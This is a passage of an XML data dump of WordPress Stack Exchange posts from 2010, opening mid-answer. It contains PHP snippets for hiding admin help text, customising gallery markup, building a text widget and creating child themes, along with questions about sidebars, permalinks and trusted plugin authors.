&lt;code&gt;preg_replace()&lt;/code&gt;. The &lt;code&gt;ob_start()&lt;/code&gt;/&lt;code&gt;ob_get_clean()&lt;/code&gt; pair of functions in PHP are what you need to buffer output and then to capture that buffered output, viola:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RemoveAdminHelpLinkButton {&#xA;  static function on_load() {&#xA;    add_filter('contextual_help',array(__CLASS__,'contextual_help'));&#xA;    add_action('admin_notices',array(__CLASS__,'admin_notices'));&#xA;  }&#xA;  static function contextual_help($contextual_help) {&#xA;    ob_start();&#xA;    return $contextual_help;&#xA;  }&#xA;  static function admin_notices() {&#xA;    echo preg_replace('#&amp;lt;div id=&quot;contextual-help-link-wrap&quot;.*&amp;gt;.*&amp;lt;/div&amp;gt;#Us','',ob_get_clean());&#xA;  }&#xA;}&#xA;RemoveAdminHelpLinkButton::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In general you can use this technique to modify or delete almost any HTML output generated by WordPress by finding the before and after hooks but be aware that it is a very fragile technique; if another plugin has modified the HTML output from what you were expecting your &lt;code&gt;preg_replace()&lt;/code&gt; could fail to match.  Anyway...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3.) Removing Help Text from Page Attributes Metabox&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To remove the help text for the Page Attributes metabox doesn't require regular expressions, a simple &lt;code&gt;str_replace()&lt;/code&gt; will do. &lt;em&gt;(Note finding the right hooks to use took the most time.)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RemovePageAttributesHelpText {&#xA;  static function on_load() {&#xA;    add_action('admin_notices',array(__CLASS__,'admin_notices'));&#xA;    add_action('dbx_post_sidebar',array(__CLASS__,'dbx_post_sidebar'));&#xA;  }&#xA;  static function admin_notices() {&#xA;    ob_start();&#xA;  }&#xA;  static function dbx_post_sidebar() {&#xA;    $match_text = '&amp;lt;p&amp;gt;Need help? Use the Help tab in the upper right of your screen.&amp;lt;/p&amp;gt;';&#xA;    echo str_replace($match_text,'',ob_get_clean());&#xA;  }&#xA;}&#xA;RemovePageAttributesHelpText::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also another approach you can use when all you want to do it remove text from core and that's to use the &lt;code&gt;'gettext'&lt;/code&gt; hook. The following code removes the help text from the Page Attributes metabox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RemovePageAttributesHelpText {&#xA;  static function on_load() {&#xA;    add_filter('gettext',array(__CLASS__,'gettext'),10,4);&#xA;  }&#xA;  function gettext($translation, $text, $domain) {&#xA;    if ($text=='Need help? Use the Help tab in the upper right of your screen.') {&#xA;      $translation = '';&#xA;    }&#xA;    return $translation;&#xA;  }&#xA;}&#xA;RemovePageAttributesHelpText::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I'm cautious to use this hook as it gets called hundreds of times per page load; 577 times just to load the Admin Dashboard in case I just tested, for example. So if you use it be sure not to do anything that is computationally &lt;em&gt;&quot;expensive&quot;&lt;/em&gt; such as running a raw SQL query or similar.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;4.) Removing Text from the &lt;em&gt;&quot;Excerpt Metabox&quot;&lt;/em&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;We'll use option #2 from technique #3 to strip the help text from the Excerpt Metabox &lt;em&gt;(this one I included the code from technique #3 so this one replaces the code in #3)&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RemoveUnwantedPageEditingText {&#xA;  static function on_load() {&#xA;    add_action('admin_notices',array(__CLASS__,'admin_notices'));&#xA;    add_action('dbx_post_sidebar',array(__CLASS__,'dbx_post_sidebar'));&#xA;  }&#xA;  static function admin_notices() {&#xA;    ob_start();&#xA;  }&#xA;  static function dbx_post_sidebar() {&#xA;    $html = str_replace('&amp;lt;p&amp;gt;Need help? Use the Help tab in the upper right of your screen.&amp;lt;/p&amp;gt;','',ob_get_clean());&#xA;    echo str_replace('Excerpts are optional hand-crafted summaries of your content that can be used in your theme.' .&#xA;     ' &amp;lt;a href=&quot;http://codex.wordpress.org/Excerpt&quot; target=&quot;_blank&quot;&amp;gt;Learn more about manual excerpts.&amp;lt;/a&amp;gt;','',$html);&#xA;  }&#xA;}&#xA;RemoveUnwantedPageEditingText::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-11T06:56:46.803" LastActivityDate="2010-10-11T06:56:46.803" CommentCount="8" />
  <row Id="2393" PostTypeId="1" AcceptedAnswerId="2397" CreationDate="2010-09-30T09:23:46.280" Score="2" ViewCount="408" Body="&lt;p&gt;I would like to change the markup created by [gallery] from what is it as standard (dl) to a unordered-list with a difference. Below is the desired markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/path/to/image.jpg&quot;&amp;gt;&amp;lt;img src=&quot;/path/to/image.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/path/to/image2.jpg&quot;&amp;gt;&amp;lt;img src=&quot;/path/to/image2.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;!-- And so on, all in one ul --&amp;gt;&#xA;&amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want the main image source for the link &amp;amp; img, as I want to run the img src through a php cropper script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I'm sure we can crack it!&lt;/p&gt;&#xA;" OwnerUserId="1095" LastActivityDate="2010-09-30T11:01:53.937" Title="How can I alter the [gallery] markup?" Tags="&lt;html&gt;&lt;gallery&gt;&lt;markup&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="2394" PostTypeId="2" ParentId="2303" CreationDate="2010-09-30T09:43:10.293" Score="0" ViewCount="" Body="&lt;p&gt;Do you mean you want a bread-crumb type nav? Or list all the pages that are children of the current page What exactly do you mean? I've done a lot of stuff like this, so I'll probably have a chunk of code somewhere for this.&lt;/p&gt;&#xA;" OwnerUserId="1095" LastActivityDate="2010-09-30T09:43:10.293" CommentCount="1" />
  <row Id="2395" PostTypeId="2" ParentId="2393" CreationDate="2010-09-30T09:49:48.427" Score="1" ViewCount="" Body="&lt;p&gt;Output of items in &lt;code&gt;gallery_shortcode()&lt;/code&gt; function is not filtered, so no opportunity to change it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_link()&lt;/code&gt;&lt;/a&gt; to generate links and its output is filtered through &lt;code&gt;wp_get_attachment_link&lt;/code&gt; hook with plenty of details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters( 'wp_get_attachment_link', &quot;&amp;lt;a href='$url' title='$post_title'&amp;gt;$link_text&amp;lt;/a&amp;gt;&quot;, $id, $size, $permalink, $icon, $text );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you need to perform some really complex crop that you want separate script to handle it?Why not let WP handle it with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_image_size()&lt;/code&gt;&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-30T09:49:48.427" />
  <row Id="2396" PostTypeId="2" ParentId="2393" CreationDate="2010-09-30T09:56:26.340" Score="1" ViewCount="" Body="&lt;p&gt;If you want change &lt;code&gt;dl&lt;/code&gt; lists to &lt;code&gt;ul&lt;/code&gt; lists on all galleries, not only on those that request this via extra attributes, you can hook into the &lt;code&gt;post_gallery&lt;/code&gt; filter that gets run at the beginning of &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/media.php#L756&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;gallery_shortcode&lt;/code&gt; function&lt;/a&gt;. There you can override and set default values for the attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final output is not filtered, but I guess it should be possible to remove the default shortcode handler for &lt;code&gt;gallery&lt;/code&gt;, and add your own function that wraps &lt;code&gt;gallery_shortcode()&lt;/code&gt; but adds final processing at the end. Or try hooking into &lt;code&gt;wp_get_attachment_link&lt;/code&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2393/how-can-i-alter-the-gallery-markup/2395#2395&quot;&gt;as Rarst suggests&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-30T09:56:26.340" />
  <row Id="2397" PostTypeId="2" ParentId="2393" CreationDate="2010-09-30T11:01:53.937" Score="1" ViewCount="" Body="&lt;p&gt;Thanks for your replies, Jan &amp;amp; Rarst. They pointed me in the right direction. Here's what I ended up with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This disables shortcodes in the content. Perfect for this site &amp;amp; the function gets attached images &amp;amp; spits them out as a list. (I found the function somewhere &amp;amp; slimmed it down a little)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Removed shortcodes from the content&#xA;add_filter('the_content', 'strip_shortcodes');&#xA;&#xA;// Get attached images &amp;amp; spits out a list of them.&#xA;function nerdy_get_images($size = 'thumbnail', $limit = '0', $offset = '0') {&#xA;    global $post;&#xA;    $images = get_children( array('post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID') );&#xA;    if ($images) {&#xA;        $num_of_images = count($images);&#xA;        if ($offset &amp;gt; 0) : $start = $offset--; else : $start = 0; endif;&#xA;        if ($limit &amp;gt; 0) : $stop = $limit+$start; else : $stop = $num_of_images; endif;&#xA;        $i = 0;&#xA;        foreach ($images as $image) {&#xA;            if ($start &amp;lt;= $i and $i &amp;lt; $stop) {&#xA;            $img_title = $image-&amp;gt;post_title;   // title.&#xA;            $img_description = $image-&amp;gt;post_content; // description.&#xA;            $img_caption = $image-&amp;gt;post_excerpt; // caption.&#xA;            $img_url = wp_get_attachment_url($image-&amp;gt;ID); // url of the full size image.&#xA;            $preview_array = image_downsize( $image-&amp;gt;ID, $size );&#xA;            $img_preview = $preview_array[0]; // thumbnail or medium image to use for preview.&#xA;            ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $img_url; ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $img_preview; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $img_caption; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $img_title; ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?&#xA;            }&#xA;            $i++;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the call in single.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php nerdy_get_images('medium','0','0'); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This spits out a list exactly how I wanted it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="1095" LastActivityDate="2010-09-30T11:01:53.937" />
  <row Id="2398" PostTypeId="2" ParentId="1567" CreationDate="2010-09-30T11:57:18.863" Score="3" ViewCount="" Body="&lt;h2&gt;Loading scripts conditionally&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here is a way to load scripts only if a particular shortcode or widget is present.&#xA;source: &lt;a href=&quot;http://wordpress.stackexchange.com/q/2302/479&quot;&gt;Loading scripts only if a particular shortcode or widget is present&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function has_my_shortcode($posts) {&#xA;    if ( empty($posts) )&#xA;        return $posts;&#xA;    $found = false;&#xA;    foreach ($posts as $post) {&#xA;        if ( stripos($post-&amp;gt;post_content, '[my_shortcode') )&#xA;            $found = true;&#xA;            break;&#xA;        }&#xA;    if ($found){&#xA;        $urljs = get_bloginfo( 'template_directory' ).IMP_JS;&#xA;    wp_register_script('my_script', $urljs.'myscript.js' );&#xA;    wp_print_scripts('my_script');&#xA;}&#xA;    return $posts;&#xA;}&#xA;add_action('the_posts', 'has_my_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And here is how to load scripts only if a certain widget is present&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load the script in the page where the widget is loaded only, you will have to add the is_active_widget() code, in you widget class. E.g., see the default recent comments widget (wp-includes/default-widgets.php, line 602):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WP_Widget_Recent_Comments extends WP_Widget {&#xA;    function WP_Widget_Recent_Comments() {&#xA;        $widget_ops = array('classname' =&amp;gt; 'widget_recent_comments', 'description' =&amp;gt; __( 'The most recent comments' ) );&#xA;        $this-&amp;gt;WP_Widget('recent-comments', __('Recent Comments'), $widget_ops);&#xA;        $this-&amp;gt;alt_option_name = 'widget_recent_comments';&#xA;        if ( is_active_widget(false, false, $this-&amp;gt;id_base) )&#xA;        add_action( 'wp_head', array(&amp;amp;$this, 'recent_comments_style') );&#xA;        add_action( 'comment_post', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;        add_action( 'transition_comment_status', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:58:38.970" LastActivityDate="2011-01-26T13:58:38.970" CommunityOwnedDate="2010-09-30T11:57:18.863" />
  <row Id="2399" PostTypeId="1" CreationDate="2010-09-30T12:16:43.053" Score="0" ViewCount="372" Body="&lt;p&gt;I am building a site in WordPress. It has multiple subpages, many of which require different sidebars. So, I have a widgetized theme and I have also created a few sidebar widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a conditional statement to show different sidebars on different pages. However, one widgetized sidebar displays on almost all pages despite the conditional statement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sidebar that is appearing on the desired page can be seen here: &lt;a href=&quot;http://www.africanhealthleadership.org/about/approach/&quot; rel=&quot;nofollow&quot;&gt;http://www.africanhealthleadership.org/about/approach/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subpage that should have a different sidebar is under Knowledge Resources&gt;Research&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is as follows. I am a total PHP spazz, so I likely did something  silly. I have tried single quotes around dynamic_sidebar(2) but that did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;     if ( is_subpage('approach') ) {&#xA;     if (!function_exists ( dynamic_sidebar(1) ) ) ; &#xA;}&#xA;    elseif ( is_subpage('research')) {&#xA;    if (!function_exists( dynamic_sidebar(2)) || !dynamic_sidebar( &quot;Sidebar2&quot;) );&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1097" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-01T14:50:44.220" LastActivityDate="2011-05-03T06:18:35.837" Title="Dynamic Sidebars On Multiple Subpages" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="2400" PostTypeId="1" AcceptedAnswerId="2402" CreationDate="2010-09-30T12:18:24.530" Score="0" ViewCount="298" Body="&lt;p&gt;I need to create a simple widget that has a text input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the widget to create the markup below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;textwidget&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;avatar&quot;&amp;gt; &#xA;        &amp;lt;div class=&quot;avatartext&quot;&amp;gt; &#xA;            &amp;lt;p&amp;gt;CONTENTS OF THE TEXT INPUT HERE&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &#xA;    &amp;lt;div class=&quot;avatarimage&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've started the process of stubbing out the widget with the code below. I'm just not shure how to code the my_avatar() function...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_avatar()&#xA;{&#xA;//Widget markup goes here. How to pull the widget text entry?&#xA;&#xA;}&#xA;&#xA;register_activation_hook(__FILE__, 'my_avatar');&#xA;&#xA;class My_Widget_Avatar extends WP_Widget {&#xA;    function My_Widget_Avatar() {&#xA;        $widget_ops = array( 'classname' =&amp;gt; 'widget_avatar', 'description' =&amp;gt; __( &quot;My Avatar Widget&quot; ) );&#xA;        $this-&amp;gt;WP_Widget('my_avatar', __('My Avatar'), $widget_ops);&#xA;    }&#xA;}&#xA;&#xA;add_action('widgets_init', create_function('', &quot;register_widget('My_Widget_Avatar');&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-30T14:11:48.160" Title="Create a widget that allows text input" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="2401" PostTypeId="1" CreationDate="2010-09-30T12:37:40.237" Score="0" ViewCount="285" Body="&lt;p&gt;I just discovered a weird problem in my WP. The author archive (author.php) returns 404 error ONLY if i use custom permalink structure like /%postname%/ it shows up fine when I use the Default permalinks. What could be causing that please?&lt;/p&gt;&#xA;" LastActivityDate="2010-11-30T07:03:21.403" Title="WordPress author.php template does not work with custom permalink structure! Help!" Tags="&lt;permalinks&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2402" PostTypeId="2" ParentId="2400" CreationDate="2010-09-30T13:22:19.223" Score="0" ViewCount="" Body="&lt;p&gt;Complete code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Widget_Avatar extends WP_Widget {&#xA;    function My_Widget_Avatar() {&#xA;        $widget_ops = array( 'classname' =&amp;gt; 'widget_avatar', 'description' =&amp;gt; __( &quot;My Avatar Widget&quot; ) );&#xA;        $this-&amp;gt;WP_Widget('my_avatar', __('My Avatar'), $widget_ops);&#xA;    }&#xA;&#xA;    function widget( $args, $instance ) {&#xA;        extract($args);&#xA;        $text = apply_filters( 'widget_text', $instance['text'], $instance );&#xA;        echo $before_widget;&#xA;        ?&amp;gt;&#xA;            &amp;lt;div class=&quot;textwidget&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;avatar&quot;&amp;gt; &#xA;                    &amp;lt;div class=&quot;avatartext&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;avatarimage&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;            &amp;lt;/div&amp;gt; &#xA;        &amp;lt;?php&#xA;        echo $after_widget;&#xA;    }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $instance = $old_instance;&#xA;        if ( current_user_can('unfiltered_html') )&#xA;            $instance['text'] =  $new_instance['text'];&#xA;        else&#xA;            $instance['text'] = stripslashes( wp_filter_post_kses( addslashes($new_instance['text']) ) ); // wp_filter_post_kses() expects slashed&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;        $instance = wp_parse_args( (array) $instance, array( 'text' =&amp;gt; '' ) );&#xA;        $text = format_to_edit($instance['text']);&#xA;?&amp;gt;&#xA;&#xA;        &amp;lt;textarea class=&quot;widefat&quot; rows=&quot;16&quot; cols=&quot;20&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('text'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('text'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;&#xA;function lbi_widgets_init() {&#xA;    register_widget( 'My_Widget_Avatar' );&#xA;}&#xA;add_action( 'widgets_init', 'lbi_widgets_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-30T14:11:48.160" LastActivityDate="2010-09-30T14:11:48.160" CommentCount="5" />
  <row Id="2403" PostTypeId="2" ParentId="288" CreationDate="2010-09-30T13:58:42.833" Score="2" ViewCount="" Body="&lt;p&gt;Step 1: Create a child theme of a good solid parent theme.&#xA;A. Install the thematic theme.&#xA;B. Follow their instructions for making a child theme. (Move the thematic-sample-child-theme folder outside of the thematic folder, under wp-content/themes. Now you'll have &#xA;/wp-content/themes/thematic, and &#xA;/wp-content/themes/thematic-sample-child-theme. &#xA;C. Rename the latter directory to your new preferred theme name.&#xA;D. Go the appearance screen, and activate your new theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: Edit styles.css, and experiment with CSS.&#xA;A. For instance, add: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#primary, #secondary {&#xA;   background-color: #e8e8d6;   &#xA;   margin-right: 10px;&#xA;   -moz-border-radius: 8px;&#xA;   -webkit-border-radius: 8px;&#xA;   padding:18px 0 0;&#xA;}&#xA;&#xA;#branding {&#xA;    background: url(http://example.com/wp-content/uploads/2010/09/example.jpg) top left no-repeat;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's easiest to start just by changing colors and fonts, then you can get into fancier things such as rounded corners, floating divs, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: Use the original style.css in the /wp-content/themes/thematic directory as your guide. Really study that style.css. Use a reference such as &lt;a href=&quot;http://reference.sitepoint.com/css&quot; rel=&quot;nofollow&quot;&gt;http://reference.sitepoint.com/css&lt;/a&gt; to help understand each rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a child theme you can change as little or as much as you like. For instance, some will only change the #brand logo, as shown above. The more you try, the more you'll learn.&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2010-09-30T13:58:42.833" CommunityOwnedDate="2010-09-30T13:58:42.833" />
  <row Id="2404" PostTypeId="1" CreationDate="2010-09-30T14:23:47.977" Score="14" ViewCount="360" Body="&lt;p&gt;&lt;em&gt;Note: Please vote on the question, and any answers you find useful by clicking on the UP arrow on the left hand side of the question or answer.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are so many plugins out there. Whose plugins can we always trust? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please share a list of completely reliable plugin authors, along with links to their plugins pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is modeled on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&quot;&gt;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1079" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-26T22:20:57.920" LastActivityDate="2011-08-26T22:17:25.973" CommunityOwnedDate="2010-09-30T14:23:47.977" Title="Who are the most trusted plugin developers?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="7" />
  <row Id="2405" PostTypeId="1" AcceptedAnswerId="2410" CreationDate="2010-09-30T14:36:06.470" Score="0" ViewCount="960" Body="&lt;p&gt;I'm able to easily include my custom post types into my main loop by making small adjustments with &lt;code&gt;query_posts()&lt;/code&gt;, but I'm not sure how I would go about including custom post types in the &quot;Recent Posts&quot; sidebar widget (or any of the other widgets, for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about expanding &quot;Recent Posts&quot; scope to include more than just the native post type?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2011-04-29T09:57:21.693" Title="Including Custom Post Types in &quot;Recent Posts&quot; Widget" Tags="&lt;custom-post-types&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" />
  <row Id="2406" PostTypeId="2" ParentId="2404" CreationDate="2010-09-30T15:00:19.513" Score="7" ViewCount="" Body="&lt;h2&gt;Justin Tadlock&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themehybrid.com/&quot; rel=&quot;nofollow&quot;&gt;Hybrid&lt;/a&gt; (theme/framework)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devpress.com/&quot; rel=&quot;nofollow&quot;&gt;DevPress&lt;/a&gt; (theme(s), plugins)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/greenshady/&quot; rel=&quot;nofollow&quot;&gt;repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Joost &quot;Yoast&quot; de Valk&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/1722&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/1722.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/joostdevalk/&quot; rel=&quot;nofollow&quot;&gt;repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;scribu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/205&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/205.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://scribu.net/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/scribu&quot; rel=&quot;nofollow&quot;&gt;repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Automattic&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.gravatar.com/avatar/ed9fef2b69c21459fd5795ebb9c2c952?d=wavatar&amp;amp;s=50&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proverbial from the horse's mouth. :)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/automattic/&quot; rel=&quot;nofollow&quot;&gt;repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/wordpresscom&quot; rel=&quot;nofollow&quot;&gt;plugins used on wordpress.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-09T19:22:09.000" LastActivityDate="2011-02-09T19:22:09.000" CommunityOwnedDate="2010-09-30T15:00:19.513" CommentCount="1" />
  <row Id="2407" PostTypeId="1" AcceptedAnswerId="2415" CreationDate="2010-09-30T15:00:41.463" Score="2" ViewCount="114" Body="&lt;p&gt;I'm looking for a plugin that enables sharing an article on sites like Facebook, Twitter and LinkeIn. One catch is that I want a plugin that respect the privacy of the user and doesn't include trackware/spyware on the page. Can anyone recommend a good plugin for this?  Thank you! &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-09-30T18:49:25.607" Title="Plugin for sharing on social sites?" Tags="&lt;plugins&gt;" AnswerCount="2" FavoriteCount="1" />
